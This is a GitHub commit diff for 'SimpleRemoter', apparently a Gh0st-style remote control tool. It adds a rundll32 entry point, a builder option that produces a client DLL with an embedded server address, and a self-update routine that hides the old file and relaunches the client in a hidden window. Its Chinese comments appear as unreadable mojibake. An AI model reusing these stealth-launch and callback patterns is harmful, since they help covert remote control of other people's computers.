Merge pull request #24 from yuanyuanxiang/bugFix

Fix OVERLAPPEDPLUS memory leak and  Support `rundll32.exe`
This commit is contained in:
yuanyuanxiang
2024-12-30 00:16:22 +08:00
committed by GitHub
10 changed files with 175 additions and 24 deletions

View File

@@ -299,7 +299,7 @@ reorg: Move commands to common/commands.h
增加显示被控程序"类型"的功能如果被控程序为单个EXE则显示为"EXE"如果被控程序为EXE调用动态库形式则显示为"DLL".
当前只有类型为DLL的服务支持在线升级。本次提交借机对前一个更新中的"预留字段"进行了验证。
在动态链接库中增加导出函数Run以便通过rundll32.exe调用动态链接库。这种形式也是支持在线对DLL进行升级的。

View File

@@ -7,6 +7,13 @@
#include <IOSTREAM>
#include "LoginServer.h"
#include "KernelManager.h"
#include <iosfwd>
#include <vector>
#include <iostream>
#include <fstream>
#include <sstream>
#include <shellapi.h>
#include <corecrt_io.h>
using namespace std;
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
@@ -165,7 +172,10 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{
g_bExit = FALSE;
g_SETTINGS.SetServer(szServerIP, uPort);
if (strlen(szServerIP)>0 && uPort>0)
{
g_SETTINGS.SetServer(szServerIP, uPort);
}
g_SETTINGS.SetType(CLIENT_TYPE_DLL);
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
@@ -173,7 +183,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
return;
}
#ifdef _DEBUG
WaitForSingleObject(hThread, 200);
WaitForSingleObject(hThread, INFINITE);
#else
WaitForSingleObject(hThread, INFINITE);
#endif
@@ -189,6 +199,99 @@ extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
// copy from: SimpleRemoter\client\test.cpp
// <20><><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>DLL
void RunNewDll(const char* cmdLine) {
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
*(p + 1) = 0;
std::string folder = path;
std::string oldFile = folder + "ServerDll.old";
std::string newFile = folder + "ServerDll.new";
strcpy(p + 1, "ServerDll.dll");
BOOL ok = TRUE;
if (_access(newFile.c_str(), 0) != -1) {
if (_access(oldFile.c_str(), 0) != -1)
{
if (!DeleteFileA(oldFile.c_str()))
{
std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl;
ok = FALSE;
}
}
if (ok && !MoveFileA(path, oldFile.c_str())) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
if (_access(path, 0) != -1)
{
ok = FALSE;
}
}
else {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
{
std::cout << "File created and set to hidden: " << oldFile << std::endl;
}
}
if (ok && !MoveFileA(newFile.c_str(), path)) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
MoveFileA(oldFile.c_str(), path);// recover
}
else if (ok) {
std::cout << "Using new file: " << newFile << std::endl;
}
}
char cmd[1024];
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
}
/* <20><><EFBFBD>пͻ<D0BF><CDBB>˵ĺ<CBB5><C4BA>Ĵ<EFBFBD><C4B4><EFBFBD>. <20><>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><E5B5BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> rundll32 <20><><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC>.
HWND hwnd: <20><><EFBFBD><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8>Ϊ NULL<4C><4C><EFBFBD><EFBFBD>
HINSTANCE hinst: DLL <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPSTR lpszCmdLine: <20><><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nCmdShow: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ״̬<D7B4><CCAC>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>
*/
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
char message[256] = { 0 };
if (strlen(lpszCmdLine) != 0) {
strcpy_s(message, lpszCmdLine);
}else if (g_SETTINGS.IsValid())
{
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
}
std::istringstream stream(message);
std::string item;
std::vector<std::string> result;
while (std::getline(stream, item, ':')) {
result.push_back(item);
}
if (result.size() == 1)
{
result.push_back("80");
}
if (result.size() != 2) {
MessageBox(hwnd, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ!", "<EFBFBD><EFBFBD>ʾ", MB_OK);
return;
}
do
{
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
while (!IsStoped())
Sleep(20);
} while (!IsExit());
if (IsExit() == 1)
return;
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
RunNewDll(message);
}
#endif
DWORD WINAPI StartClient(LPVOID lParam)

View File

@@ -1,3 +1,4 @@
EXPORTS
TestRun
StopRun
Run

View File

@@ -140,6 +140,7 @@ enum
#define CLIENT_TYPE_DLL 0 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
#define CLIENT_TYPE_ONE 1 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD>Ե<EFBFBD><D4B5><EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
#define CLIENT_TYPE_MODULE 2 // DLL<4C><4C><EFBFBD><EFBFBD><EFBFBD>ⲿ<EFBFBD><E2B2BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
typedef struct CONNECT_ADDRESS

View File

@@ -198,10 +198,10 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
{
if (IsIconic())
{
ShowWindow(SW_NORMAL);
ShowWindow(SW_SHOW);
break;
}
ShowWindow(IsWindowVisible() ? SW_HIDE : SW_SHOWNORMAL);
ShowWindow(IsWindowVisible() ? SW_HIDE : SW_SHOW);
SetForegroundWindow();
break;
}
@@ -431,7 +431,10 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
CreateSolidMenu();
ListenPort();
if (!ListenPort()) {
OnCancel();
return FALSE;
}
#if !INDEPENDENT
ShowWindow(SW_SHOW);
@@ -571,6 +574,13 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
void CMy2015RemoteDlg::OnClose()
{
// <20><><EFBFBD>ش<EFBFBD><D8B4>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD>ǹر<C7B9>
ShowWindow(SW_HIDE);
OutputDebugStringA("======> Hide\n");
}
void CMy2015RemoteDlg::Release(){
OutputDebugStringA("======> Release\n");
isClosed = TRUE;
ShowWindow(SW_HIDE);
#if INDEPENDENT
@@ -620,7 +630,6 @@ void CMy2015RemoteDlg::OnClose()
m_iocpServer = NULL;
}
timeEndPeriod(1);
CDialogEx::OnClose();
}
@@ -836,13 +845,15 @@ VOID CMy2015RemoteDlg::OnAbout()
//<2F><><EFBFBD><EFBFBD>Menu
void CMy2015RemoteDlg::OnNotifyShow()
{
ShowWindow(SW_SHOW);
BOOL v= IsWindowVisible();
ShowWindow(v? SW_HIDE : SW_SHOW);
}
void CMy2015RemoteDlg::OnNotifyExit()
{
SendMessage(WM_CLOSE);
Release();
CDialogEx::OnOK(); // <20>رնԻ<D5B6><D4BB><EFBFBD>
}
@@ -857,11 +868,11 @@ void CMy2015RemoteDlg::OnMainSet()
void CMy2015RemoteDlg::OnMainExit()
{
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SendMessage(WM_CLOSE);
Release();
CDialogEx::OnOK(); // <20>رնԻ<D5B6><D4BB><EFBFBD>
}
VOID CMy2015RemoteDlg::ListenPort()
BOOL CMy2015RemoteDlg::ListenPort()
{
int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost");
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
@@ -871,11 +882,11 @@ VOID CMy2015RemoteDlg::ListenPort()
nPort = 6543;
if (nMaxConnection <= 0)
nMaxConnection = 10000;
Activate(nPort,nMaxConnection); //<2F><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
return Activate(nPort,nMaxConnection); //<2F><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
}
VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
{
m_iocpServer = new IOCPServer; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
UINT ret = 0;
@@ -885,11 +896,15 @@ VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
char code[32];
sprintf_s(code, "%d", ret);
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD><EFBFBD><EFBFBD>StartServerʧ<EFBFBD><EFBFBD>! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"+CString(code));
delete m_iocpServer;
m_iocpServer = NULL;
return FALSE;
}
CString strTemp;
strTemp.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>: %d<>ɹ<EFBFBD>", nPort);
ShowMessage(true,strTemp);
return TRUE;
}

View File

@@ -53,8 +53,8 @@ public:
VOID CreateToolBar();
VOID CreateNotifyBar();
VOID CreateSolidMenu();
VOID ListenPort();
VOID Activate(int nPort,int nMaxConnection);
BOOL ListenPort();
BOOL Activate(int nPort,int nMaxConnection);
static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
@@ -75,6 +75,7 @@ public:
CBitmap m_bmOnline[3];
afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnClose();
void Release();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnOnlineMessage();

View File

@@ -54,7 +54,21 @@ void CBuildDlg::OnBnClickedOk()
DWORD dwFileSize;
UpdateData(TRUE);
int index = m_ComboExe.GetCurSel();
CString file = index == 0 ? "TestRun.exe" : (index == 1 ? "ghost.exe" : "");
CString file;
switch (index)
{
case CLIENT_TYPE_DLL:
file = "TestRun.exe";
break;
case CLIENT_TYPE_ONE:
file = "ghost.exe";
break;
case CLIENT_TYPE_MODULE:
file = "ServerDll.dll";
break;
default:
break;
}
if (file.IsEmpty())
{
MessageBox("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>!");
@@ -107,7 +121,13 @@ void CBuildDlg::OnBnClickedOk()
}
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
//<2F><><EFBFBD><EFBFBD>ļ<EFBFBD>
strcpy(p+1, "ClientDemo.exe");
if (index == CLIENT_TYPE_MODULE)
{
strcpy(p + 1, "ClientDemo.dll");
}
else {
strcpy(p + 1, "ClientDemo.exe");
}
strSeverFile = path;
DeleteFileA(path);
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
@@ -157,8 +177,9 @@ BOOL CBuildDlg::OnInitDialog()
CDialog::OnInitDialog();
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
m_ComboExe.InsertString(0, "TestRun.exe");
m_ComboExe.InsertString(1, "ghost.exe");
m_ComboExe.InsertString(CLIENT_TYPE_DLL, "TestRun.exe");
m_ComboExe.InsertString(CLIENT_TYPE_ONE, "ghost.exe");
m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll");
m_ComboExe.SetCurSel(0);
return TRUE; // return TRUE unless you set the focus to a control

View File

@@ -3,6 +3,7 @@
#include "2015Remote.h"
#include <iostream>
#if USING_ZLIB
#include "zlib.h"
#define Z_FAILED(p) (Z_OK != (p))
@@ -113,6 +114,7 @@ IOCPServer::~IOCPServer(void)
{
CONTEXT_OBJECT *ContextObject = m_ContextConnectionList.GetHead();
RemoveStaleContext(ContextObject);
SAFE_DELETE(ContextObject->olps);
}
while (!m_ContextFreePoolList.IsEmpty())

View File

@@ -138,6 +138,7 @@ protected:
CRITICAL_SECTION* m_cs;
};
#define TRACK_OVERLAPPEDPLUS 0
class OVERLAPPEDPLUS
{
@@ -148,9 +149,9 @@ public:
OVERLAPPEDPLUS(IOType ioType)
{
#if 0
#if TRACK_OVERLAPPEDPLUS
char szLog[100];
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %x by thread [%d].\n", this, GetCurrentThreadId());
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
OutputDebugStringA(szLog);
#endif
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
@@ -159,9 +160,9 @@ public:
~OVERLAPPEDPLUS()
{
#if 0
#if TRACK_OVERLAPPEDPLUS
char szLog[100];
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %x by thread [%d].\n", this, GetCurrentThreadId());
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
OutputDebugStringA(szLog);
#endif
}

View File

@@ -38,6 +38,12 @@
// VS2017<31><37>ǰ<EFBFBD><EFBFBD><E6B1BE>VLD: https://kinddragon.github.io/vld
// VS2019ʹ<39>õ<EFBFBD>VLD<4C><44>֧<EFBFBD><D6A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>VS<56>汾, <20>Ƽ<EFBFBD><C6BC><EFBFBD>: https://github.com/oneiric/vld/releases/tag/v2.7.0
// <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>ܿض˳<D8B6><CBB3><EFBFBD><EFBFBD>ŵ<EFBFBD><C5B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ʹ<EFBFBD><CAB9>Releaseģʽ<C4A3><CABD><EFBFBD>ɵij<C9B5><C4B3><EFBFBD>, <20>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD>VLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD>; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>VLD<4C><44><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD>.
// <20><><EFBFBD><EFBFBD>VLD<4C><44>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>й¶<D0B9><C2B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>׷<EFBFBD>ٲ<EFBFBD><D9B2>˺<EFBFBD><CBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö<EFBFBD>ջ<EFBFBD><D5BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>÷<EFBFBD><C3B7>ŷ<EFBFBD><C5B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>ء<EFBFBD><D8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Գ<EFBFBD><D4B3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// ȷ<><C8B7><EFBFBD><EFBFBD><EFBFBD>ĵ<EFBFBD><C4B5>Թ<EFBFBD><D4B9>ߣ<EFBFBD><DFA3><EFBFBD> Visual Studio <20><> WinDbg<62><67><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7>ŷ<EFBFBD><C5B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD>ŷ<EFBFBD><C5B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ȱʧ<C8B1>ķ<EFBFBD><C4B7><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> dbghelp.pdb<64><62><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E6B5BD><EFBFBD>ط<EFBFBD><D8B7><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>
// <20><><EFBFBD>÷<EFBFBD><C3B7>ŷ<EFBFBD><C5B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Visual Studio Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Visual Studio <20>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> > ѡ<><D1A1> > <20><><EFBFBD>š<EFBFBD>
// <20><>ѡ Microsoft Symbol Servers. ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD>Ż<EFBFBD><C5BB><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "C:\Symbols"<22><>
// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>ȱʧ<C8B1>ķ<EFBFBD><C4B7>ţ<EFBFBD><C5A3><EFBFBD> dbghelp.pdb<64><62><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<C4BF><C2BC>
#include "vld.h"
#include "targetver.h"